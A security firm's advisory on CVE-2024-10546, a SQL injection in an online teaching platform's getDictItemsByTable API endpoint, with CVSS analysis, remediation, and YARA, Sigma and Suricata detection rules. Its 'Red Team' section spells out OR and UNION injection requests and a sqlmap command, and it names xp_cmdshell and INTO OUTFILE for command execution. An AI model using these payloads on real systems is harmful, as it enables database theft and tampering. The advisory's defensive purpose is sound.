CVE-2024-10546

Executive Summary

CVE-2024-10546 is a critical SQL injection vulnerability discovered in the open-scratch Teaching 在线教学平台 (Online Teaching Platform) up to version 2.7. The flaw resides in the /api/sys/ng-alain/getDictItemsByTable/ URL handler, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Given the public disclosure of exploit details and the vendor’s lack of response, this vulnerability poses a severe risk to confidentiality, integrity, and availability of affected systems. No official patch is available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public PoC increases the threat.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP/Java-based web application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is Critical due to the ease of exploitation and the potential for full database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /api/sys/ng-alain/getDictItemsByTable/ endpoint. The application likely constructs SQL queries by directly concatenating user-supplied input from the URL path or query parameters without proper sanitization or parameterized queries.

Root Cause: The getDictItemsByTable function takes a table name or other parameter from the URL and uses it in a SQL query like:

SELECT * FROM [user_input] WHERE ...

An attacker can manipulate this input to break out of the intended query structure and execute arbitrary SQL.

Attack Vector: Remote, unauthenticated HTTP requests to the vulnerable endpoint.

Impact: An attacker can:

• Extract sensitive data (user credentials, personal information, course data).
• Modify or delete database records.
• Potentially gain administrative access to the platform.
• Execute operating system commands if the database user has sufficient privileges (e.g., xp_cmdshell in SQL Server or INTO OUTFILE in MySQL).

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern.

Vulnerable Code (Conceptual PHP/Java):

// Vulnerable: Direct concatenation
$tableName = $_GET['table'];
$sql = "SELECT * FROM " . $tableName . " WHERE dict_type = 'some_value'";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual):

// Patched: Parameterized query
$tableName = $_GET['table'];
// Whitelist allowed table names
$allowedTables = ['dict_items', 'sys_dict', 'other_table'];
if (!in_array($tableName, $allowedTables)) {
    die("Invalid table");
}
$sql = "SELECT * FROM `$tableName` WHERE dict_type = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $dictType);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running open-scratch Teaching 在线教学平台 <= 2.7.
• Network access to the /api/sys/ng-alain/getDictItemsByTable/ endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint:

   GET /api/sys/ng-alain/getDictItemsByTable/ HTTP/1.1
   Host: target.com
   

2. Inject SQL payload via the table parameter (or path segment). Example:

   GET /api/sys/ng-alain/getDictItemsByTable/sys_user' OR '1'='1 HTTP/1.1
   Host: target.com
   

3. Use UNION-based injection to extract data:

   GET /api/sys/ng-alain/getDictItemsByTable/sys_user' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- HTTP/1.1
   Host: target.com
   

4. For blind SQL injection, use time-based or boolean techniques.

Example SQLMap Command:

sqlmap -u "http://target.com/api/sys/ng-alain/getDictItemsByTable/sys_user*" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests to /api/sys/ng-alain/getDictItemsByTable/ containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a decoy endpoint that mimics the vulnerable behavior and logs all requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/sys/ng-alain/getDictItemsByTable/ with SQL-like payloads.
  • Unusual database error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• File IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.aspx).
  • Modified application configuration files.
• System IOCs:
  • Unusual database queries in logs.
  • New user accounts with administrative privileges.

Detection Engineering

YARA Rule

rule CVE_2024_10546_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10546"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10546"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR '1'='1" nocase
        $sqli3 = "OR 1=1" nocase
        $sqli4 = "SELECT * FROM" nocase
        $sqli5 = "DROP TABLE" nocase
        $sqli6 = "xp_cmdshell" nocase
        $sqli7 = "INTO OUTFILE" nocase
        $sqli8 = "getDictItemsByTable" nocase
    condition:
        any of ($sqli*) and $sqli8
}

Sigma Rule

title: CVE-2024-10546 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the open-scratch Teaching platform
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '/api/sys/ng-alain/getDictItemsByTable/'
            - 'UNION'
            - 'SELECT'
            - 'OR '
            - 'AND '
            - '--'
            - '#'
            - 'xp_cmdshell'
            - 'INTO OUTFILE'
    condition: selection
falsepositives:
    - Legitimate use of table names containing SQL keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10546 SQL Injection Attempt"; flow:to_server,established; content:"/api/sys/ng-alain/getDictItemsByTable/"; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet if possible.
2. Apply virtual patching using a WAF (e.g., ModSecurity) to block SQL injection patterns.
3. Disable the vulnerable endpoint by modifying the web server configuration (e.g., return 404 for /api/sys/ng-alain/getDictItemsByTable/).

Long-term Fix:

• Since no official patch exists, the vendor must be pressured to release a fix. In the meantime:
  • Implement input validation and parameterized queries.
  • Use a whitelist of allowed table names.
  • Apply the principle of least privilege to the database user.

Workaround:

• If source code is available, manually patch the vulnerable function as shown in the "Patched Code" section.

Valters IT
Securing Digital Frontiers